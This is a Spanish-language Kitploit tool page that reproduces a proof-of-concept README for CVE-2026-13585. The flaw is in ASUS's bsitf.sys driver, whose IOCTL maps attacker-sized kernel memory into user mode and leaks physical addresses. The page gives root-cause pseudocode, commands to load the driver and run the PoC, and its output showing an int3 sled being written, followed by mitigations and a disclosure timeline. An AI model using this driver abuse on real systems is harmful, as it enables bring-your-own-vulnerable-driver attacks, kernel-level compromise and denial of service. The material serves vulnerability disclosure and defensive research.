Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
asus-bsitf-0-day-poc — Prueba de concepto para CVE-2026-13585 | Kitploit
Herramientas/GitHubGitHub/416rehman/asus-bsitf-0-day-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónSeguridad de HardwareExplotación de Binarios
GitHub416rehman/asus-bsitf-0-day-poc

asus-bsitf-0-day-poc

Prueba de concepto para CVE-2026-13585

Ver Repositorio
52hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

PoC - Mapeo de Memoria del Kernel a Modo Usuario en ASUS bsitf.sys

CVE-2026-13585

Resumen

El controlador de kernel de ASUS bsitf.sys (también distribuido como AsusBSItf.sys) expone el IOCTL 0x222808 que asigna memoria del kernel físicamente contigua de un tamaño controlado por el atacante, la mapea al espacio de direcciones del proceso llamante con permisos completos de lectura/escritura, y devuelve tanto la dirección virtual en espacio de usuario como la dirección física al llamante.

El dispositivo requiere privilegios de administrador para abrirse, lo que convierte esto en una escalada de administrador a kernel. En un escenario BYOVD (Bring Your Own Vulnerable Driver), un atacante que ya tenga privilegios de administrador (por ejemplo, mediante ingeniería social o un exploit separado) puede cargar este controlador legítimamente firmado para obtener acceso arbitrario a la memoria del kernel sin necesidad de un exploit del kernel.

Versiones Afectadas

VersiónNombre de archivoPaqueteTipo de Pool
3.0.10.0bsitf.sysASUS Business Manager / AbmSvcPackageNonPagedPool (ejecutable)
3.1.10.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx
3.1.25.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx

Todas las versiones crean el dispositivo \Device\bsitf con enlace simbólico \DosDevices\bsitf.

Impacto

El búfer mapeado es una asignación nueva del pool del kernel, no una dirección arbitraria del kernel. El llamante controla su contenido pero no su ubicación. Esto limita la explotación en comparación con una verdadera R/W arbitraria del kernel.

  • Agotamiento del pool del kernel (DoS) — las asignaciones repetidas sin liberar agotarán NonPagedPool, causando BSOD. No se aplica un límite de tamaño o de asignaciones pendientes.
  • Divulgación de dirección física — el IOCTL devuelve la dirección física de cada asignación, útil como fuga de información o para ataques basados en DMA.
  • Preparación de memoria del kernel ejecutable (solo v3.0.x) — en la versión 3.0.10.0, el tipo de pool es NonPagedPool (ejecutable). Se puede escribir shellcode desde modo usuario en el búfer mapeado, pero se requiere una vulnerabilidad separada para redirigir la ejecución del kernel a la dirección del búfer.

En las versiones v3.1.x (NonPagedPoolNx), el búfer no es ejecutable y el impacto práctico se limita a DoS y divulgación de dirección física.

Causa Raíz

El IOCTL 0x222808 en el manejador de envío realiza lo siguiente sin validación de entrada:

root@kitploit:~
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // usermode virtual address
output[1] = physical_addr;  // physical address of allocation

No hay comprobaciones en el tamaño de asignación, el recuento de asignaciones pendientes o la validación de entrada. El dispositivo requiere administrador para abrirse, pero una vez que se adquiere un identificador, los IOCTL no tienen restricciones.

Prueba de Concepto

Compilación

root@kitploit:~
cargo build --release

Cargar el controlador

root@kitploit:~
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

Ejecución

root@kitploit:~
# por defecto: asignación de 0x1000 (4KB)
cargo run --release

# tamaño personalizado (hex)
cargo run --release -- 10000

Salida esperada

root@kitploit:~
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

Probado en Windows 11 24H2 (requiere administrador).

Mitigación

  1. Validar el tamaño de asignación con un límite superior razonable
  2. Limitar el número de asignaciones pendientes por identificador
  3. No mapear asignaciones del kernel al espacio de direcciones de modo usuario
  4. No devolver direcciones físicas a llamantes en modo usuario
  5. Usar NonPagedPoolNx en todas las versiones

Cronología

FechaEvento
2026-04-06Vulnerabilidad descubierta mediante análisis automatizado
2026-04-06PoC confirmado en Windows 11 24H2
2026-04-06Informe enviado a ASUS PSIRT

Referencias

  • CWE-782: IOCTL Expuesto con Control de Acceso Insuficiente
  • Dispositivo: \Device\bsitf, Enlace simbólico: \DosDevices\bsitf
  • Manejador de envío: FUN_140001070

Aviso Legal

Esta prueba de concepto se proporciona únicamente con fines de investigación de seguridad autorizada y divulgación responsable. No utilice esto contra sistemas que no posea o para los cuales no tenga permiso explícito para probar.

Descargar herramienta